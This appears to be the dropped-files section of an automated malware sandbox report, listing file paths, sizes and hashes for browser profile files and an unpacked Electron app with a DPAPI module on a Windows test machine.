SHA256 2cec9f219467a7d3d9714046981c6f68ee98bc3146e1c82f7b61c321a5721d74
MD5 2bceeecbea608c7180aab57414870a9f
SHA1 a97127a7ef61cd3b53bd8732be845b0d2cb94dfd
SHA512 6ed60a6a03be8526cab881481c08f66e873989af3792a9e84f25c80e3147f00c5e371b33f67e7d44ba179b7565857ca49260803c5b3ce4f922c77183489c908a
SSDEEP 3:QNllv/etXl+8E+qg/G9EZtaXM/RuWGJpDEJ7KgJpDEJ7HBQqtRlM+:Rl+ULWc/mLEJOgLEJL1tzj
TLSH
T11B02129AA9C45655C8364CBDCBDFB5943A2A5DD87F8F2A5235D000593CAA0068834F91
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

e2bc9d22-2afd-4a0b-9091-12a04794e1fe.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\e2bc9d22-2afd-4a0b-9091-12a04794e1fe.tmp
Size 11KB
SHA256 b71f56023aeace3e41e8dbbbf1f5fdc63328440b8fdcc28c14d1083cb8c7fa3f
MD5 3d7fd40a57b80f334cb4fec904c9977a
SHA1 73a7189c4dd8588a2d3db6b150828a13be3ee1ce
SHA512 525fc80816ad2e0a3901e418194a038d2e78dfe2df05efb37435837361c34549915fb727ce943e86b32ec5af4ec7601e6f937375ff4ff3641d41febb05e801f2
SSDEEP 192:ehu4K6Hr7KxkXqK4I40pUZNCgVLHrKHfFKslH5nXzKD/kH+ErUkKN9bxrAfJWf8j:gujMr7KxkXqKf/pUZNCgVLH2HfgslZnD
TLSH
T18F32C927948D9A3F4FDCD908CC52AF4B6CF502927768092496FF9D1803957CE224A6FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log
Size 14KB
SHA256 7cdcb5e835db75cfa2a9004039e3f25e5d49bf3712bdf0213f901d870924934b
MD5 3e3a5cad2b161e03245f54390dfaf9a5
SHA1 7e0f66f8b432d1ad25e78a731aa575457a5bea5c
SHA512 325015cfebc50bd82ec9d4cb021bf295df26cf342f60c9cc8f98238af9aceadc97d1fa47c3d24e64dd68e29edf1a3e937dc82d09ea16b5b0088e5908e3ecb513
SSDEEP 192:Uz6kkJpmZVSdGGPqNk/yL61IHpmdVSdGGoNNQZ6l4Hvpm1VSdGG/HNS:UmzasdGtKyuiosdGn+A2QsdGo4
TLSH
T1096284EAA3F01A81DCCBD7F7BC958E3E07729C8D5456004294E7D7A82C93E0AD9A135D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG
Size 320B
SHA256 d951ee5824e26090ae7c8aa3f95e06e3f34e8493375de0c80c07e39cb48bd4ce
MD5 3482e984181eea7bae9102afebf5e6c2
SHA1 dd92d2888f6367556fd672f4edd1499634a06c21
SHA512 59e61bd8ace80785687673e19dc652506571c09d810c5231f04f146434dba02b4e8c431a18c8e6c4f45263cca6a32d47f59230069c30677d2007fe5304098f2f
TLSH
T14FE02C0E7CCCCAEE60B8C08702F8A30C86E0BD03FBDC280A4F10C04A608040876C22A0
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000003.log
Size 808B
SHA256 577a2083939a1ab7e139ed058c2544dcb4f6267757fa801f671c24bee07438d7
MD5 172951f2bb27dfa1a936289fb8009272
SHA1 d9bef82badce554040f301f339d17cc688a7c594
SHA512 f8332db5c919732cd6ef4d7c0a48bb690c97f04cf168c6461d668a682ba695dd343e17e2c5924ed9ca232e84d6e4e56c82d86aa9708987336fa9a8b563f72f66
TLSH
T1D5019016F730C600D14A823AA43AEB251374D9A29FFCED0F447570282E36E111E4B7E5
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG
Size 338B
SHA256 9d4eeb23fdbedb5117a24ada63a2eab3015c295e2f1d1d3a3ff8f78e7bc86070
MD5 9de61dd332a73f76b5f9c64400d32449
SHA1 4a7c86f34573dd07cbd0108d2c9a040727394084
SHA512 f7fa000ec6488e86a44022512e71424d2ae0d70e542bdda7129ac34fd710a1abcd9cec0556b5cdcb62db43ffc9b27a094e1f0b8c49dc4fc1847aa5eab7678e80
TLSH
T1DAE0260D7C8CC5AF40B8805301F4B34C8AE03D07FBDC2E0A4F50C94A518080575C6261
MD5 SHA1 SHA512 TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Variations

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Variations
Size 86B
SHA256 2741df9ee9e9d9883397078f94480e9bc1d9c76996eec5cfe4e77929337cbe93
MD5 f732dbed9289177d15e236d0f8f2ddd3
SHA1 53f822af51b014bc3d4b575865d9c3ef0e4debde
SHA512 b64e5021f32e26c752fcba15a139815894309b25644e74ceca46a9aa97070bca3b77ded569a9bfd694193d035ba75b61a8d6262c8e6d5c4d76b452b38f5150a4
TLSH
T168A012078473800AE4184092C45C024114A480460119D0015070931314950CA03A5435
MD5 SHA1 SHA512 TLSH

Submit Download

d1e2ec35-d560-433f-8d45-93d7d7590af7.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\d1e2ec35-d560-433f-8d45-93d7d7590af7.tmp
Size 4KB
SHA256 4ab4aaef5db5bb71ce78c96cfb8a3d1571b7525a87df9b7cba43259cbd93eb1c
MD5 7758e05f376acbf1960da3c99be87456
SHA1 6b5b125b4f8a9e714d732faacfe271d14e6fefdd
SHA512 18adf2cfb400a88d55c19dbd8e90324a147980e0d18716e2dc965b8217e2d0c4d8e32973c279f4d243cc1d620b59912bced3d6fe38230b0268e2ea764fba5f51
SSDEEP 96:uC0d+6K6ujgRdfB7rsM6abCRDotok5obDUB6RGyvLsTFyebQMUpv4a:uC0CvgFrp65DUDIYJVTFyeb3UF
TLSH
T189A11971E0A9687B15F6D489B8812B03CF7461BBB951AF94D9EE5F1C24B70FC1382623
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ukm_db

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\segmentation_platform\ukm_db
Size 48KB
SHA256 eaa1fa63db3ca66e9bd624b69e1825332076d93a42c658a80ad0cf7a68a69b61
MD5 856efd174b494866675e145431bedfa9
SHA1 0ce9537dabb05d3e2b07177c3133f610c9207653
SHA512 18e2cf9c802c0dc426af5585f6fa6a14725eaf03710696ffdf706a8f11339bcf8ce52d5462dae0aebd1bb81dcf5e1d10eff9adf1c8ea306ddeb5083b411094e7
SSDEEP 24:T66Qcn/CVdn+xxnFn6ZOTs0n/YSRltqtD9ijuoxAYGduhr2fk05b53HxOSRtK0Jr:TkkhCU2QB2zbBxxytWnR2RN/k/Cc1
TLSH
T10623AB4F1E6811E9D5E9083EFED28D117DBE4F588A2B79D645E00C768CD18AE602E0BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

2be6668b-f879-4e81-ba60-dcb769370fe4.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\2be6668b-f879-4e81-ba60-dcb769370fe4.tmp
Size 38KB
SHA256 58063d5ab526d30c636e11f0c33d66d0b7f059469c350033eaf5b05f42069dfa
MD5 26baba13598940f93fd641857d4a394a
SHA1 9ca435a11911aca8e2a5b0dd5bcc71ff3f57fd9a
SHA512 78c82b9f9d7ff2329db3d46e6103ae8e15236e5cd5150109c3fc56afde556a5f01e8749a1ec213139384637bb4dc8cf1378c09322347995935e2d5311d58d375
SSDEEP 768:x/UxvxjgC+I3lxxKDaE57Y0GZxJsXBdK8EMSHUPpMs:EZj3+I3Op70/JsXf75Sfs
TLSH
T1FF03B034F8506DA39AFB9B94360A7387EEF415A3C5C10DA48EE99B4D05472AD1343926
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 54a604899198f01e1a2f5ec52bac53679a6d2775840ba8c81ab97c59f718adf8
MD5 b266cfe7dc8e59a4693bec2c7307d768
SHA1 0ff4c63ce201552fd340f72d3376df63989a21f9
SHA512 6832b9d56510cdd21708734b256b052e90f313f920ebc959b4845a1a4fc17cfbfe75dfa04c5252540531ead21e0662a341763e79030c36867f2823312c51c0f9
TLSH
T1C1D02BB8B77CC476E40210784043050052517004581704D10F05A2448984080804014E
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 fe09a9e94fbd795d6fab442dc426ef79e7bd47dbd80086b003cb1cd34d18db58
MD5 4da51a25f1a6b822ac642c6eae6f9a72
SHA1 9d4f1d1e83270c8d54d24725cd3d7f406de5967d
SHA512 c027a48a18b3b282e84d69320ca44ca416bceb43057eee8fcf4b2647669c307720f00240e17a22310df0488100938fd8b34a0660ca73adaa5f0433a1657b325a
TLSH
T16CD02BBCB76CC476E40210744042050052617004AC1704D10F0562448984080804114E
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 138B
SHA256 02111f00829d04cac205847af1f13657d6439136daba0719940018bbe7c11261
MD5 6ded7d859ccfbbe5f2fac7b0a1923f81
SHA1 851b55a29e7664f0af85a106cd44bdfff92ea7c7
SHA512 98e7952565573d0aae00097fb708ea8063de12896512e57455289a00a461f5e7da466a7461c7032bacea53226c96bd7ad7add4bd32b118783a01881806c46f07
TLSH
T185C08C63A05901928A190740423E190D870E3CC89886888CB023305430B8A23B10AE91
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt.tmp
Size 233B
SHA256 607c641dfc410eb9259e94eafdcbe5bfdea64a1074b71b40c7714285c938975d
MD5 0f3abc466a99b8ef85bd33ad217725e3
SHA1 fd7e65ee28a3b28a7c399873c57d191378cd757c
SHA512 2c99487987f778ed18c92984c6a9b96110146acf222f43f0067f8775a9323d0651c70d40ec8ae5d472e1111728b77bce1b5662f366cf5a468078f03b6dde4e8f
TLSH
T1FFD09717A03505E1DEAF8B52026A1D4B4A693C84A085848CB412B169A8F8742E201F82
MD5 SHA1 SHA512 TLSH

Submit Download

c936c2c4-5a72-4f6d-9d3f-d8f2093f58bc.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\c936c2c4-5a72-4f6d-9d3f-d8f2093f58bc.tmp
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d6c4c733-c549-44bf-a211-e8552115746a.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\d6c4c733-c549-44bf-a211-e8552115746a.tmp
Size 37KB
SHA256 41678f8bb1b44908fb2a8dc4396da21b0aaae6010bb25e4122c5b94ed7e472a2
MD5 839c99577f912d28af615a2768a2ce14
SHA1 ab6b941c1138727687e3a23ed2907e11e5836961
SHA512 d1f10e634610c171ad1fe316d486d60356e6f0af05c49619124b8f599447d950f391e876c635046638bb0ff7923824f241d9d2493281d5f0e83d188b46069ece
SSDEEP 768:A/UxvxjgC+I3H+KXE57Y0GZxJsXBdK8l3SHUPpMs:tZj3+I3m70/JsXf7hSfs
TLSH
T19903C034E8909D739DF793903A0E7387EEF445B3C5C11DA88AEDAB0D028B26D434391A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 aa5ac801235a74ca0b3015b50a9062b35690729dac3cb33e19002eace4d0d210
MD5 64017d327cf875e0b36f6b894e9f12ce
SHA1 24b13a876a553e8e4a770e87ad8890ccdebe26cc
SHA512 905d6176e0233e938f929eaa4b69f6221f4986440e994527b9f78274d4bcd4010b3cc18a7410cd3dd769117fd550ce18bcb191517ab3f7b2b9348529079ebd4c
TLSH
T13C217F33F3CC8754DC59413654DEAC1136B6C7D7449ECEAB6B85D114F42F288CEA1160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_5bo0abs0.uzy.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5bo0abs0.uzy.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE.electron.txt

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\LICENSE.electron.txt
Size 1KB
SHA256 5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d
MD5 4d42118d35941e0f664dddbd83f633c5
SHA1 2b21ec5f20fe961d15f2b58efb1368e66d202e5c
SHA512 3ffbba2e4cd689f362378f6b0f6060571f57e228d3755bdd308283be6cbbef8c2e84beb5fcf73e0c3c81cd944d01ee3fcf141733c4d8b3b0162e543e0b9f3e63
TLSH
T1B511861E726453721C56136055766C84F12F725FBAAF2784246EF384233746CE5FF844
MD5 SHA1 SHA512 TLSH

Submit Download

chrome_100_percent.pak

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\chrome_100_percent.pak
Size 148KB
SHA256 a659ee9eb38636f85f5336587c578fb29740d3effaff9b92852c8a210e92978c
MD5 83ec43f2af9fc52025f3f807b185d424
SHA1 ea432f7571d89dd43a76d260cb5853cada253aa0
SHA512 6ddca85215bf6f7f9b17c5d52bd7395702515bc2354a8cd8fa6c1ccd7355a23b17828853ceabeef597b5bca11750dc7c9f6ec3c45a33c2106f816fec74963d86
SSDEEP 3072:ez8JCGIdTwTPagr8o9RHi/T9P1L2o418Gb0+VRLf0ld0GY3cQ3ERVm2I:ez81IdT8agr8EC/T95K18Gb0OV8ld0Gq
TLSH
T179E3E1D3B3F4ED3DCB9716B7A2260072ECB3466D0692124B168AD4752A66B8CCCC47D3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_200_percent.pak

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\chrome_200_percent.pak
Size 223KB
SHA256 2c1b3e4b8a0cf837ae0a390fca54f45d7d22418e040f1dfea979622383acced6
MD5 dc48a33bd20bfc7cacfc925a84b015b6
SHA1 8dfee88fd1dc77f89ad88c19146fe3ab45e43f3c
SHA512 1d54eb5d2ba06af0ba8f6b491b0d43f178a48ac82cdf383beb265e732ddfc06bca9692003fdfce56f7f00af97f29acf046c73b891b8c561610098f9626eaf05a
SSDEEP 6144:coDQYajN6svyA6nI86ur8EC/T9ugx5GMRejnbdZnVE6YoppO4:cVfjN6svyA6D4B79a6edhVELoXO4
TLSH
T11E24F1C7B3F8DD3DD9630AB3522A01F1EDB2113905B6560F57CB9C347999AC988C9283
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d3dcompiler_47.dll

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\d3dcompiler_47.dll
Size 4.7MB
SHA256 af7b99be1b8770c0e4d18e43b04e81d11bdeb667fa6b07ade7a88f4c5676bf9a
MD5 a7b7470c347f84365ffe1b2072b4f95c
SHA1 57a96f6fb326ba65b7f7016242132b3f9464c7a3
SHA512 83391a219631f750499fd9642d59ec80fb377c378997b302d10762e83325551bb97c1086b181fff0521b1ca933e518eab71a44a3578a23691f215ebb1dce463d
SSDEEP 49152:hCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvdiD0N+YEzI4og/RfzHLeHTRhFRN1:oG2QCwmHjnog/pzHAo/Ayc
TLSH
T13C367C5673EA40B9C1ABD178CE479213EBB1781403345BEB4190C669AF73BE16A3E734
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ffmpeg.dll

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\ffmpeg.dll
Size 2.8MB
SHA256 4a3ce3e8a30d1bfea36446f884e51bb2eb65b9e559dc016300e0e18c0f823e5f
MD5 e4d06c9d97d4eb125c0d8e0bf6cc5bdc
SHA1 436c699c627e23092105ac0b41994e0c6ef42d2d
SHA512 71c670b14b3e0fa3d442fbdc711aa564df9beca5f4d7963b04ecdafe49ff31ef5e5a34b8c52f90d02c72c7bd171755cc22f545f8f40315abc8230fc5f84690ce
SSDEEP 49152:6FUWNgdIjHFoDr2XlKVDdusGH6qfLgvsI74i3OQ+Jpp:6F2IDq3CYVDdufU4i6pp
TLSH
T1D9D5AE03F6D950DDD029C075979F9223F671344A8F1266EF26E05A202E67FD86E3E329
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

icudtl.dat

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\icudtl.dat
Size 10.0MB
SHA256 9ae98c06cbb0ea43c5cd6b5725310c008c65e46072421a1118cb88e1de9a8b92
MD5 ffd67c1e24cb35dc109a24024b1ba7ec
SHA1 99f545bc396878c7a53e98a79017d9531af7c1f5
SHA512 e1a865e685d2d3bacd0916d4238a79462519d887feb273a251120bb6af2b4481d025f3b21ce9a1a95a49371a0aa3ecf072175ba756974e831dbfde1f0feaeb79
SSDEEP 196608:+SPBhORiYAXHiXUxY/iJ53IWhlVjEeIu2Y6U:++wkpHiXUxY/iJ53IWhlVjEeIZU
TLSH
T160B63807A2FB8DC6F9F76F30E8F452679567BD496E32805911042F3B1D332A08661BB6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libEGL.dll

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\libEGL.dll
Size 481KB
SHA256 3839ad80072ba6fd0516fa5b947ab794eda5fc679ece5492b25f888e3006327e
MD5 6ea73dcb05168e3abf168a2eab9cc441
SHA1 48497760ba5c65b57be5ad111b90b3d8b6f0f5bd
SHA512 0fc8b64ec0e3a8f4a8612daea2f7a09b087b7e6949f7d8a44a0bb3764a1007196ecd09f9fd8520f40339f140b733867de4ea09e361ab64eb2e810f8cc13dcdde
SSDEEP 6144:C3f2CrNZCHZWHCxmx0vfbjj306LhQQ3WU3y0iSj/8lPg:ovQ0CxmqvfbjLTQRU3y0iSAlo
TLSH
T10DA49E15B3E444B9E06AD174CA534642DB76B4920F69FBDF03A492392F37BE85B39320
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libGLESv2.dll

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\libGLESv2.dll
Size 8.0MB
SHA256 d5142ccdb81a06fd43e1f789c5a2f636973e019d1e9fdab7b7bf738145333554
MD5 92128651eba3bcf49bb3b1e4c31b296b
SHA1 77b769fa5c83e5b895408f00be9ffb41bdbc88c9
SHA512 b25ddd64a3b13689915cb23145fd55576e5102abbc81918c5000d01807cf0ee9c5ed79a15d990e7dd5e1a0d859ec87ee8b82207fef98f7b8028d846d2f16905a
SSDEEP 98304:09aDUngXCAFxUrAYF8V3tcUl1XMX43vleA:0CO5k33X4svl
TLSH
T18B867C03F69580D9D00DE2B9975B9627FA3078840728B6CF269417192F7BFE0AB7E714
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

en-US.pak

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\locales\en-US.pak
Size 478KB
SHA256 75db989561e145d0d990c4918502316c77ce66b344d3dce4739e3a6db43fde82
MD5 a99b6152bdeac44148f94394c4149622
SHA1 df7371533e92aa24f48469116d9a8ac73249315e
SHA512 3160b58d10ca147594ff4aca004007d4e6823421be349cfad945c681e220eec7266d88434a4d31c719a346650ac0ed31f1f13fca3e824d81bb65ebb4d21cc2c1
SSDEEP 6144:1kdXRDCEmszpReMP9e0QcD2faYjNCu454ZxDng/t/XFLwB:1sUEmGeM1QcDq+5UxOLwB
TLSH
T175A43C1FF7441229069352627F09A5A2FF36D06CA39112563CBD812C33B7B6AC3776E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pt-BR.pak

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\locales\pt-BR.pak
Size 567KB
SHA256 1c0d67a4259df36655aa97761e71e02bb0407e7bb1fe1319394e0916c7d76f7f
MD5 a25a1fe3b44192d6ccf354fa2c152e6f
SHA1 d0757f15c07f25cc8cca123d7d9c8aab3cdfc9fa
SHA512 beaa71be07a2ea7b01440703dd46a26bec6c7922af2f9bbd528bfc60bb1c290a34c512459eb8a10f0668399f72bea233e6bf93feb55561fe279d8a699bcc4f1d
SSDEEP 6144:m2anjN9EXm1fwXNBXBLVfm9ydz5GHyXuH0msRoM/I2:UnjNVwV5RXIsR1/N
TLSH
T1CCC42B2A6DC9136605225350B74EEB43E5881745FE0ACA87DCFF4F06A3DDE40DA33AA5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

resources.pak

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\resources.pak
Size 5.5MB
SHA256 a1e5297e2bee9a26960025049c0570340b230e6e1bdbbb55d6fabd11cfffe89e
MD5 9a641272dc25d0908bb79aae27ab2c51
SHA1 8ba37601520be18691a47c6ab496e4f6db32c6da
SHA512 3e636c8d985f24684dd1124ed58d2ab8b6ef396e0cecdb9da04d220a027105bf71511da82b8cc54bfbca2901e23887a740fe00828a2a647fc090b68a925d2874
SSDEEP 98304:pZryi6+pkrht455GGPeenn0dJGO4EpxIvMi8rwrGU3nAabpdkmYAzFKwR4:DmilpkrP455GGHnbEXU8kr1Xddf1FvG
TLSH
T127463395B364CD27E86C0B7E41E442324378D12627533A1B319CF16C6EBC29E5BA297E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app.asar

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\resources\app.asar
Size 10.9MB
SHA256 8fd940e4f90c3b6af955ee341cc8d3262b80142532d03a63400e761fbd217b36
MD5 adc70b49c0ba6ecd755930cccea4a9a6
SHA1 232292fb552b259a79b73c9b8f5810378a005ad6
SHA512 b760ace37d31509393c4156cd4f008ffb2652cb5ab6cf4e67812567b0ef0dd542fa052efe8c35438ebfedb21e3edb2b07209aa0b04b17025b3ec11f6a8260949
SSDEEP 49152:Sh0TwALjZHaZrQwuqZ2PRr9ZKq7o3MtFUnB6TrovR+wNIIQaF9D3Z86P6kp0dv1d:7wAfUSd
TLSH
T1D4B608446AE2B013028F6277BF4F959AE235D813554CE862B44CFA8C6F9842DD2F6FD4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\resources\app.asar.unpacked\node_modules\@primno\dpapi\LICENSE
Size 1KB
SHA256 455dda47a3fc2f58ab06d8e526f490ec43d0fc23a5ea80dd0942644397316d9b
MD5 7bd114b023fa6209fb7b02150a202ccc
SHA1 4451515f9d7b16ce8983abb4e85609fe4162c4d4
SHA512 87ee4dc1da13937055eade250f1f8a357f549c709b9659258c137009060080aca5cfd979890a7b2d662083f4c646cce9af6e20774b58541af9e712fb5f4f1c60
TLSH
T15F11861F72950363189257615569ECC5F12BB14A7FAB1A84346DF209132605CC5FFC64
MD5 SHA1 SHA512 TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\resources\app.asar.unpacked\node_modules\@primno\dpapi\dist\index.js
Size 412B
SHA256 a7ff0225cb5ebcbef8499c6c8ac2be924f584eb375dacb1d8bd3dc6540b510f2
MD5 0b33e83d33b01a51625a0fdcbef42ce3
SHA1 1c29d999ff7da39426b97f2eb31a3d83db8f5fc7
SHA512 1d04caf4fc2e876bdf2a089ae938a41fe4d3f2928aa846709bafd2de236fa8c754fcc84d7e8a5f5734bc1cecc04b395ab9d2114945b35e8c85cd3b9ee8f9799c
TLSH
T1BFE02B177EF5E8EAC64082CA4736D4531EE98CBB3600781AE2CA8AF25315984E490D24
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\resources\app.asar.unpacked\node_modules\@primno\dpapi\package.json
Size 934B
SHA256 59f4704391d2247b2a8d029d7338566d47d2ff0cd7477c49343efe93475f7a12
MD5 83a6b767cd4ade2116654eb0a90fec3c
SHA1 07a0f29ddb1c8a48947ee05bb4d6ec3d2abe1df9
SHA512 404ed15686b7d611ba8aeac12e706af75a876502c51e40e48a598d05a9ac89f88902b2830a5c679f9bb7931f5c33bb10da3a32753fdb8c71a9d7b4346a1be8d0
TLSH
T134112336C928C9630BC819D5EC391252A6224C1B8D58FE0D37D2836C8B1D1BF32BD66C
MD5 SHA1 SHA512 TLSH

Submit Download

node.napi.node

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\resources\app.asar.unpacked\node_modules\@primno\dpapi\prebuilds\win32-x64\node.napi.node
Size 137KB
SHA256 da2172ce055fa47d6a0ea1c90654f530abed33f69a74d52fab06c4c7653b48fd
MD5 04bfbfec8db966420fe4c7b85ebb506a
SHA1 939bb742a354a92e1dcd3661a62d69e48030a335
SHA512 4ea97a9a120ed5bee8638e0a69561c2159fc3769062d7102167b0e92b4f1a5c002a761bd104282425f6cee8d0e39dbe7e12ad4e4a38570c3f90f31b65072dd65
SSDEEP 3072:94PTD6FEzMju6bzJKjpEPeTOKvJhEnww+YbRYvPuq:94jQju6b9KilKvJurR8W
TLSH
T1B3D37D4BB3A500BBE176C639C8934A05E776B81517619B9F03A0475B1F237D1EE3EB22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

elevate.exe

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\resources\elevate.exe
Size 105KB
SHA256 9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37
MD5 792b92c8ad13c46f27c7ced0810694df
SHA1 d8d449b92de20a57df722df46435ba4553ecc802
SHA512 6c247254dc18ed81213a978cce2e321d6692848c64307097d2c43432a42f4f4f6d3cf22fb92610dfa8b7b16a5f1d94e9017cf64f88f2d08e79c0fe71a9121e40
SSDEEP 3072:1bLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWl:1PrwRhte1XsE1l
TLSH
T1EBB37C1274C0C471E5732A361974CAB14AADFD700E759FAF6398127A4FA01D09A3AFB7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

snapshot_blob.bin

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\snapshot_blob.bin
Size 309KB
SHA256 31b6067f7e43c00946343d88f5f9167151543292211874f1edf8ba9b6b19d9eb
MD5 bdf2e2cab5037adc41774fa1caba8ea1
SHA1 b1669825b4ec8661d2f65eaf70eb2abef1ff0e10
SHA512 5138e55645dda2918ef73638547fd8851b7bd3211c5fd5ac4f8331c5cf48425af58d4fb8aee223b12606865b37ade17bf8252d2dc079f3a5c432af5ab913d8fc
SSDEEP 3072:M+JfFRciefJNlUMX2kIE1aOaVsS/3hYeFWYSITdJgClE+ceNTbM:MefPciePmMXh1aOCsy3hpFRlzVw
TLSH
T17764FB44B660CB16D75526B48CE8DB993A78F2CD6F06AA0F318D43FD3976B340A053AD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

v8_context_snapshot.bin

Path C:\Users\Admin\AppData\Local\Temp\nsq1D63.tmp\7z-out\v8_context_snapshot.bin
Size 671KB
SHA256 96539ed02416163441b9847175f2ec1f5708e321e1fad25b03ff7b47b7aa991e
MD5 04d61b8d7f3e6a3a81df5bdf418904f1
SHA1 353ec04045f72d7712e013bc0e1e782e24275015
SHA512 608021d64470fdc4cfd20e55b92dbf2e901b1d239395ca7754df1260cb7884f45f175951a81ed5cfc6165c1cd91997725a2ca060b7cf701102bad33c1cf34054
SSDEEP 6144:iPYRCOn2E6keR1PciePmMXh1aOCsy3hbHRlEDMrVkSiF01gwoHZHCvqmO9iXz8pk:iPY5nnbe3WZBr/iXo73nVE+2l
TLSH
